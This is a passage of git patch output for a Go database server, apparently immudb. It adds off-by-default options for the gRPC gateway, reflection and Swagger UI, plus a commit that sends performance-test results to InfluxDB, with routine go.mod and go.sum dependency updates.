GatewayServerEnabled: false, + ReflectionServerEnabled: false, + SwaggerUIEnabled: false, } } @@ -452,6 +458,21 @@ func (o *Options) WithPProf(pprof bool) *Options { return o } +func (o *Options) WithGatewayServerEnabled(enabled bool) *Options { + o.GatewayServerEnabled = enabled + return o +} + +func (o *Options) WithReflectionServerEnabled(enabled bool) *Options { + o.ReflectionServerEnabled = enabled + return o +} + +func (o *Options) WithSwaggerUIEnabled(enabled bool) *Options { + o.SwaggerUIEnabled = enabled + return o +} + // RemoteStorageOptions func (opts *RemoteStorageOptions) WithS3Storage(S3Storage bool) *RemoteStorageOptions { diff --git a/pkg/server/server.go b/pkg/server/server.go index 49bb0faa13..06223360d8 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -57,6 +57,7 @@ import ( "google.golang.org/grpc" "google.golang.org/grpc/codes" "google.golang.org/grpc/credentials" + "google.golang.org/grpc/reflection" "google.golang.org/grpc/status" ) @@ -239,6 +240,9 @@ func (s *ImmuServer) Initialize() error { ) s.GrpcServer = grpc.NewServer(grpcSrvOpts...) + if s.Options.ReflectionServerEnabled { + reflection.Register(s.GrpcServer) + } schema.RegisterImmuServiceServer(s.GrpcServer, s) grpc_prometheus.Register(s.GrpcServer) From 7122e69302384ed54f463611e57aa1ce6de48aa5 Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Tue, 14 Feb 2023 18:13:09 -0300 Subject: [PATCH 0238/1062] chore(test/performance-test-suite): send results to influxdb Signed-off-by: Marco Sanchotene --- go.mod | 5 +- go.sum | 108 ++++++------------ .../cmd/perf-test/main.go | 8 ++ .../pkg/runner/influxdb_client.go | 38 ++++++ .../pkg/runner/results.go | 12 +- .../pkg/runner/runner.go | 4 +- 6 files changed, 94 insertions(+), 81 deletions(-) create mode 100644 test/performance-test-suite/pkg/runner/influxdb_client.go diff --git a/go.mod b/go.mod index e4d7566f08..72cf95f17d 100644 --- a/go.mod +++ b/go.mod @@ -16,6 +16,7 @@ require ( github.com/grpc-ecosystem/grpc-gateway v1.16.0 github.com/huandu/xstrings v1.3.2 // indirect github.com/imdario/mergo v0.3.13 // indirect + github.com/influxdata/influxdb-client-go/v2 v2.12.2 github.com/jackc/pgx/v4 v4.16.1 github.com/jaswdr/faker v1.4.3 github.com/lib/pq v1.10.2 @@ -26,7 +27,6 @@ require ( github.com/nsf/termbox-go v1.1.1 // indirect github.com/o1egl/paseto v1.0.0 github.com/olekukonko/tablewriter v0.0.5 - github.com/ory/dockertest/v3 v3.9.1 github.com/ory/go-acc v0.2.8 github.com/peterh/liner v1.2.1 github.com/prometheus/client_golang v1.12.2 @@ -42,7 +42,7 @@ require ( github.com/spf13/cobra v1.2.1 github.com/spf13/pflag v1.0.5 github.com/spf13/viper v1.12.0 - github.com/stretchr/testify v1.7.1 + github.com/stretchr/testify v1.8.0 github.com/takama/daemon v0.12.0 golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e golang.org/x/net v0.0.0-20220708220712-1185a9018129 @@ -53,7 +53,6 @@ require ( google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 google.golang.org/protobuf v1.28.0 gopkg.in/ini.v1 v1.66.6 // indirect - gopkg.in/yaml.v3 v3.0.1 // indirect ) replace github.com/takama/daemon v0.12.0 => github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4 diff --git a/go.sum b/go.sum index 1207bae7af..357abdf2e2 100644 --- a/go.sum +++ b/go.sum @@ -52,8 +52,6 @@ cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohl cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= -github.com/Azure/go-ansiterm v0.0.0-20170929234023-d6e3b3328b78 h1:w+iIsaOQNcT7OZ575w+acHgRric5iCyQh+xv+KJ4HB8= -github.com/Azure/go-ansiterm v0.0.0-20170929234023-d6e3b3328b78/go.mod h1:LmzpDX56iTiv29bbRTIsUNlaFfuhWRQBWjQdVyAevI8= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= github.com/DataDog/datadog-go v3.2.0+incompatible/go.mod h1:LButxg5PwREeZtORoXG3tL4fMGNddJ+vMq1mwgfaqoQ= @@ -67,10 +65,6 @@ github.com/Masterminds/semver/v3 v3.1.1/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0 github.com/Masterminds/sprig v2.15.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o= github.com/Masterminds/sprig v2.22.0+incompatible h1:z4yfnGrZ7netVz+0EDJ0Wi+5VZCSYp4Z0m2dk6cEM60= github.com/Masterminds/sprig v2.22.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o= -github.com/Microsoft/go-winio v0.5.2 h1:a9IhgEQBCUEk6QCdml9CiJGhAws+YwffDHEMp1VMrpA= -github.com/Microsoft/go-winio v0.5.2/go.mod h1:WpS1mjBmmwHBEWmogvA2mj8546UReBk4v8QkMxJ6pZY= -github.com/Nvveen/Gotty v0.0.0-20120604004816-cd527374f1e5 h1:TngWCqHvy9oXAN6lEVMRuU21PR1EtLVZJmdB18Gu3Rw= -github.com/Nvveen/Gotty v0.0.0-20120604004816-cd527374f1e5/go.mod h1:lmUJ/7eu/Q8D7ML55dXQrVaamCz2vxCfdQBasLZfHKk= github.com/OneOfOne/xxhash v1.2.2 h1:KMrpdQIwFcEqXDklaen+P1axHaj9BSKzvpUUfnHldSE= github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da h1:KjTM2ks9d14ZYCvmHS9iAKVt9AyzRSqNU1qabPih5BY= @@ -99,19 +93,15 @@ github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= github.com/bketelsen/crypt v0.0.4/go.mod h1:aI6NrJ0pMGgvZKL1iVgXLnfIFJtfV+bKCoqOes/6LfM= -github.com/cenkalti/backoff/v4 v4.1.3 h1:cFAlzYUlVYDysBEH2T5hyJZMh3+5+WCBvSnK6Q8UtC4= -github.com/cenkalti/backoff/v4 v4.1.3/go.mod h1:scbssz8iZGpm3xbr14ovlUdkxfGXNInqkPWOWmG2CLw= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/cespare/xxhash v1.1.0 h1:a6HrQnmkObjyL+Gs60czilIUGqrzKutQD6XZog3p+ko= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/cespare/xxhash/v2 v2.1.2 h1:YRXhKfTDauu4ajMg1TPgFO5jnlC2HCbmLXMcTG5cbYE= github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/checkpoint-restore/go-criu/v5 v5.3.0/go.mod h1:E/eQpaFtUKGOOSEBZgmKAcn+zUUwWxqcaKZlF54wK8E= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= -github.com/cilium/ebpf v0.7.0/go.mod h1:/oI2+1shJiTGAMgl6/RgJr36Eo1jzrRcAWbcXO2usCA= github.com/circonus-labs/circonus-gometrics v2.3.1+incompatible/go.mod h1:nmEj6Dob7S7YxXgwXpfOuvO54S+tGdZdw9fuRZt25Ag= github.com/circonus-labs/circonusllhist v0.1.3/go.mod h1:kMXHVDlOchFAehlya5ePtbp5jckzBHf4XRpQvBOLI+I= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= @@ -128,9 +118,6 @@ github.com/cockroachdb/apd v1.1.0 h1:3LFP3629v+1aKXU5Q37mxmRxX/pIu1nijXydLShEq5I github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ= github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4 h1:5mhTmqO2f6QXPlIAGCEtCYR2MHNDLVkwaGWiSbffeQU= github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4/go.mod h1:PFDPquCi+3LI5PpAKS/8LvJBHTfkdsEXfGtANGx9hH4= -github.com/containerd/console v1.0.3/go.mod h1:7LqA/THxQ86k76b8c/EMSiaJ3h1eZkMkXar0TQ1gf3U= -github.com/containerd/continuity v0.3.0 h1:nisirsYROK15TAMVukJOUyGJjz4BNQJBVsNvAXZJ/eg= -github.com/containerd/continuity v0.3.0/go.mod h1:wJEAIwKOm/pBZuBd0JmeTvnLquTB1Ag8espWhkykbPM= github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk= github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= @@ -139,18 +126,17 @@ github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7 github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= -github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= github.com/cpuguy83/go-md2man/v2 v2.0.0 h1:EoUDS0afbrsXAZ9YQ9jdu/mZ2sXgT1/2yyNng4PGlyM= github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY= github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= -github.com/creack/pty v1.1.11 h1:07n33Z8lZxZ2qwegKbObQohDhXDQxiMMz1NOUGYlesw= -github.com/creack/pty v1.1.11/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= -github.com/cyphar/filepath-securejoin v0.2.3/go.mod h1:aPGpWjXOXUn2NCNjFvBE6aRxGGx79pTxQpKOJNYHHl4= +github.com/cyberdelia/templates v0.0.0-20141128023046-ca7fffd4298c/go.mod h1:GyV+0YP4qX0UQ7r2MoYZ+AvYDp12OF5yg4q8rGnyNh4= github.com/davecgh/go-spew v0.0.0-20161028175848-04cdfd42973b/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/deepmap/oapi-codegen v1.8.2 h1:SegyeYGcdi0jLLrpbCMoJxnUUn8GBXHsvr4rbzjuhfU= +github.com/deepmap/oapi-codegen v1.8.2/go.mod h1:YLgSKSDv/bZQB7N4ws6luhozi3cEdRktEqrX88CvjIw= github.com/dgraph-io/ristretto v0.0.1/go.mod h1:T40EBc7CJke8TkpiYfGGKAeFjSaxuFXhuXRyumBd6RE= github.com/dgraph-io/ristretto v0.0.2 h1:a5WaUrDa0qm0YrAAS1tUykT5El3kt62KNZZeMxQn3po= github.com/dgraph-io/ristretto v0.0.2/go.mod h1:KPxhHT9ZxKefz+PCeOGsrHpl1qZ7i70dGTu2u+Ahh6E= @@ -158,14 +144,6 @@ github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZm github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2 h1:tdlZCpZ/P9DhczCTSixgIKmwPv6+wP5DGjqLYw5SUiA= github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw= github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= -github.com/docker/cli v20.10.14+incompatible h1:dSBKJOVesDgHo7rbxlYjYsXe7gPzrTT+/cKQgpDAazg= -github.com/docker/cli v20.10.14+incompatible/go.mod h1:JLrzqnKDaYBop7H2jaqPtU4hHvMKP+vjCwu2uszcLI8= -github.com/docker/docker v20.10.7+incompatible h1:Z6O9Nhsjv+ayUEeI1IojKbYcsGdgYSNqxe1s2MYzUhQ= -github.com/docker/docker v20.10.7+incompatible/go.mod h1:eEKB0N0r5NX/I1kEveEz05bcu8tLC/8azJZsviup8Sk= -github.com/docker/go-connections v0.4.0 h1:El9xVISelRB7BuFusrZozjnkIM5YnzCViNKohAFqRJQ= -github.com/docker/go-connections v0.4.0/go.mod h1:Gbd7IOopHjR8Iph03tsViu4nIes5XhDvyHbTtUxmeec= -github.com/docker/go-units v0.4.0 h1:3uh0PgVws3nIA0Q+MwDC8yjEPf9zjRfZZWXZYDct3Tw= -github.com/docker/go-units v0.4.0/go.mod h1:fgPhTUdO+D/Jk86RDLlptpiXQzgHJF7gydDDbaIK4Dk= github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= @@ -183,17 +161,18 @@ github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5Kwzbycv github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= -github.com/frankban/quicktest v1.11.3/go.mod h1:wRf/ReqHper53s+kmmSZizM8NamnL3IM0I9ntUbOk+k= github.com/frankban/quicktest v1.14.3 h1:FJKSZTDHjyhriyC81FLQ0LY93eSai0ZyR/ZIkd3ZUKE= github.com/frankban/quicktest v1.14.3/go.mod h1:mgiwOwqx65TmIk1wJ6Q7wvnVMocbUorkibMOrVTHZps= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= github.com/fsnotify/fsnotify v1.5.4 h1:jRbGcIw6P2Meqdwuo0H1p6JVLbL5DHKAKlYndzMwVZI= github.com/fsnotify/fsnotify v1.5.4/go.mod h1:OVB6XrOHzAwXMpEM7uPOzcehqUV2UqJxmVXmkdnm1bU= +github.com/getkin/kin-openapi v0.61.0/go.mod h1:7Yn5whZr5kJi6t+kShccXS8ae1APpYTW6yheSwk8Yi4= github.com/ghodss/yaml v1.0.0 h1:wQHKEahhL6wmXdzwWG11gIVCkOv05bNOh+Rxn0yngAk= github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= github.com/gizak/termui/v3 v3.1.0 h1:ZZmVDgwHl7gR7elfKf1xc4IudXZ5qqfDh4wExk4Iajc= github.com/gizak/termui/v3 v3.1.0/go.mod h1:bXQEBkJpzxUAKf0+xq9MSWAvWZlE7c+aidmyFlkYTrY= +github.com/go-chi/chi/v5 v5.0.0/go.mod h1:BBug9lr0cqtdAhsu6R4AAdvufI0/XBzAQSsUqJpoZOs= github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= @@ -203,11 +182,10 @@ github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vb github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= -github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE= -github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= +github.com/go-openapi/jsonpointer v0.19.5/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg= +github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= -github.com/godbus/dbus/v5 v5.0.6/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw= github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= @@ -250,6 +228,7 @@ github.com/golang/protobuf v1.5.1/go.mod h1:DopwsBzvsk0Fs44TXzsVbJyPhcCPeIwnvohx github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw= github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= +github.com/golangci/lint-1 v0.0.0-20181222135242-d2cdd8c08219/go.mod h1:/X8TswGSh1pIozq4ZwCfxS0WA5JGXguxk94ar/4c87Y= github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= @@ -287,8 +266,6 @@ github.com/google/pprof v0.0.0-20210601050228-01bbb1931b22/go.mod h1:kpwsk12EmLe github.com/google/pprof v0.0.0-20210609004039-a478d1d731e9/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= -github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4= -github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ= github.com/google/uuid v0.0.0-20161128191214-064e2069ce9c/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= @@ -303,6 +280,7 @@ github.com/googleapis/gax-go/v2 v2.2.0/go.mod h1:as02EH8zWkzwUoLbBaFeQ+arQaj/Oth github.com/googleapis/gax-go/v2 v2.3.0/go.mod h1:b8LNqSzNabLiUpXKkY7HAR5jr6bIT99EXz9pXxye9YM= github.com/googleapis/gax-go/v2 v2.4.0/go.mod h1:XOTVJ59hdnfJLIP/dh8n5CGryZR2LxK9wbMD5+iXC6c= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= +github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So= github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ= github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs= github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 h1:+9834+KizmvFV7pXQGSXQTsaWhq2GjuNUt0aUU0YBYw= @@ -354,11 +332,14 @@ github.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/imdario/mergo v0.3.4/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= -github.com/imdario/mergo v0.3.12/go.mod h1:jmQim1M+e3UYxmgPu/WyfjB3N3VflVyUjjjwH0dnCYA= github.com/imdario/mergo v0.3.13 h1:lFzP57bqS/wsqKssCGmtLAb8A0wKjLGrve2q3PPVcBk= github.com/imdario/mergo v0.3.13/go.mod h1:4lJ1jqUDcsbIECGy0RUJAXNIhg+6ocWgb1ALK2O4oXg= github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM= github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= +github.com/influxdata/influxdb-client-go/v2 v2.12.2 h1:uYABKdrEKlYm+++qfKdbgaHKBPmoWR5wpbmj6MBB/2g= +github.com/influxdata/influxdb-client-go/v2 v2.12.2/go.mod h1:YteV91FiQxRdccyJ2cHvj2f/5sq4y4Njqu1fQzsQCOU= +github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839 h1:W9WBk7wlPfJLvMCdtV4zPulc4uCPrlywQOmbFOhgQNU= +github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839/go.mod h1:xaLFMmpvUxqXtVkUJfg9QmT88cDaCJ3ZKgdZ78oO8Qo= github.com/jackc/chunkreader v1.0.0 h1:4s39bBR8ByfqH+DKm8rQA3E1LHZWB9XWcrz8fqaZbe0= github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo= github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= @@ -432,7 +413,6 @@ github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= -github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0= github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= @@ -440,7 +420,8 @@ github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= -github.com/lib/pq v0.0.0-20180327071824-d34b9ff171c2/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= +github.com/labstack/echo/v4 v4.2.1/go.mod h1:AA49e0DZ8kk5jTOOCKNuPR6oTnBS0dYiM4FW1e6jwpg= +github.com/labstack/gommon v0.3.0/go.mod h1:MULnywXg0yavhxWKc+lOruYdAhDwPK9wf0OL7NoOu+k= github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= @@ -451,10 +432,16 @@ github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czP github.com/magiconair/properties v1.8.5/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60= github.com/magiconair/properties v1.8.6 